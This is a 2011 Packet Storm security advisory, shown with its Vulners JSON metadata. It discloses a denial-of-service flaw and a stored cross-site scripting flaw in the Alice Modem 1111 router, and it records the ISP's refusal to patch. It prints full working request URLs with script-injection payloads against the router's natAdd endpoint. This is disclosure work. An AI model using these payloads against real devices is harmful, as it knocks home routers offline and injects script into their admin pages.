Search...

Alice Modem 1111 Cross Site Scripting / Denial Of Service

2011-07-12T00:00:00

ID PACKETSTORM:102971
Type packetstorm
Reporter Moritz Naumann
Modified 2011-07-12T00:00:00

Description

                                        
                                            `German ISP 'Alice' has been shipping custom embedded devices (DSL  
modems/routers etc.) for the past few years. Their first self-branded  
DSL modem, Alice Modem 1111, using firmware version 4.19, is prone to at  
least the following two security vulnerabilities (after it has passed  
initial configuration).  
  
1. Denial of Service (DoS) via HTTP GET:  
http://alice.box/natAdd?apptype=userdefined&rulename=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E&waninterface=ipwan&inthostip1=192&inthostip2=168&inthostip3=1&inthostip4=99  
  
After accessing this URL, the modem fails to accept any additional  
connections via any of the protocols it supports (incl. telnet). The web  
interface is only available from within the LAN, but an insecure  
redirect from the Internet would work to exploit this.  
  
  
2. Cross Site Scripting (XSS)  
http://alice.box/natAdd?apptype=userdefined&rulename=%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%3Cx+y=&waninterface=ipwan&inthostip1=192&inthostip2=168&inthostip3=1&inthostip4=199&protocol1=proto_6&extportstart1=1&extportend1=1&intportstart1=1&intportend1=1&protocol2=proto_6&extportstart2=&extportend2=&intportstart2=&intportend2=&protocol3=proto_6&extportstart3=&extportend3=&intportstart3=&intportend3=  
  
Accessing this URL via HTTP GET or POST makes the router set a port  
forwarding rule whose label ('rulename') contains javascript code. Due  
to lack of (server side) input validation, this code is run in the web  
browser. Once set, additional requests to the listing of port forwarding  
rules at  
http://alice.box/webconfig/portforwarding/main_portforwarding.html  
will cause the javascript code to be executed, and may trigger cross  
site scripting.  
  
  
Telefonica Germany, previously Hansenet Telekommunication, has been  
notified about these issues multiple times starting 2011-03-01. One day  
later, I received a response indicating this model is no longer being  
shipped and that there will be no fix for it. Additional attempts to get  
in touch, explaining that this does not help any of the clients who are  
already using this device, were not responded to (other than by  
confirming receipt).  
  
The same ISP has their 'secure' client area accessed via  
https://www.alice-dsl.de which has obvious implementation flaws:  
https://www.ssllabs.com/ssldb/analyze.html?d=www.alice-dsl.de  
(which I notified the company about on 2010-12-20)  
  
Moritz Naumann  
--   
Naumann IT Security Consulting  
Samariterstr. 16  
10247 Berlin  
Germany  
  
  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:102971", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Alice Modem 1111 Cross Site Scripting / Denial Of Service", "description": "", "published": "2011-07-12T00:00:00", "modified": "2011-07-12T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/102971/Alice-Modem-1111-Cross-Site-Scripting-Denial-Of-Service.html", "reporter": "Moritz Naumann", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:23:41", "viewCount": 1, "enchantments": {"score": {"value": 0.2, "vector": "NONE", "modified": "2016-11-03T10:23:41", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:23:41", "rev": 2}, "vulnersScore": 0.2}, "sourceHref": "https://packetstormsecurity.com/files/download/102971/alice-dosxss.txt", "sourceData": "`German ISP 'Alice' has been shipping custom embedded devices (DSL \nmodems/routers etc.) for the past few years. Their first self-branded \nDSL modem, Alice Modem 1111, using firmware version 4.19, is prone to at \nleast the following two security vulnerabilities (after it has passed \ninitial configuration). \n \n1. Denial of Service (DoS) via HTTP GET: \nhttp://alice.box/natAdd?apptype=userdefined&rulename=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E&waninterface=ipwan&inthostip1=192&inthostip2=168&inthostip3=1&inthostip4=99 \n \nAfter accessing this URL, the modem fails to accept any additional \nconnections via any of the protocols it supports (incl. telnet). The web \ninterface is only available from within the LAN, but an insecure \nredirect from the Internet would work to exploit this. \n \n \n2. Cross Site Scripting (XSS) \nhttp://alice.box/natAdd?apptype=userdefined&rulename=%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%3Cx+y=&waninterface=ipwan&inthostip1=192&inthostip2=168&inthostip3=1&inthostip4=199&protocol1=proto_6&extportstart1=1&extportend1=1&intportstart1=1&intportend1=1&protocol2=proto_6&extportstart2=&extportend2=&intportstart2=&intportend2=&protocol3=proto_6&extportstart3=&extportend3=&intportstart3=&intportend3= \n \nAccessing this URL via HTTP GET or POST makes the router set a port \nforwarding rule whose label ('rulename') contains javascript code. Due \nto lack of (server side) input validation, this code is run in the web \nbrowser. Once set, additional requests to the listing of port forwarding \nrules at \nhttp://alice.box/webconfig/portforwarding/main_portforwarding.html \nwill cause the javascript code to be executed, and may trigger cross \nsite scripting. \n \n \nTelefonica Germany, previously Hansenet Telekommunication, has been \nnotified about these issues multiple times starting 2011-03-01. One day \nlater, I received a response indicating this model is no longer being \nshipped and that there will be no fix for it. Additional attempts to get \nin touch, explaining that this does not help any of the clients who are \nalready using this device, were not responded to (other than by \nconfirming receipt). \n \nThe same ISP has their 'secure' client area accessed via \nhttps://www.alice-dsl.de which has obvious implementation flaws: \nhttps://www.ssllabs.com/ssldb/analyze.html?d=www.alice-dsl.de \n(which I notified the company about on 2010-12-20) \n \nMoritz Naumann \n-- \nNaumann IT Security Consulting \nSamariterstr. 16 \n10247 Berlin \nGermany \n \n \n`\n"}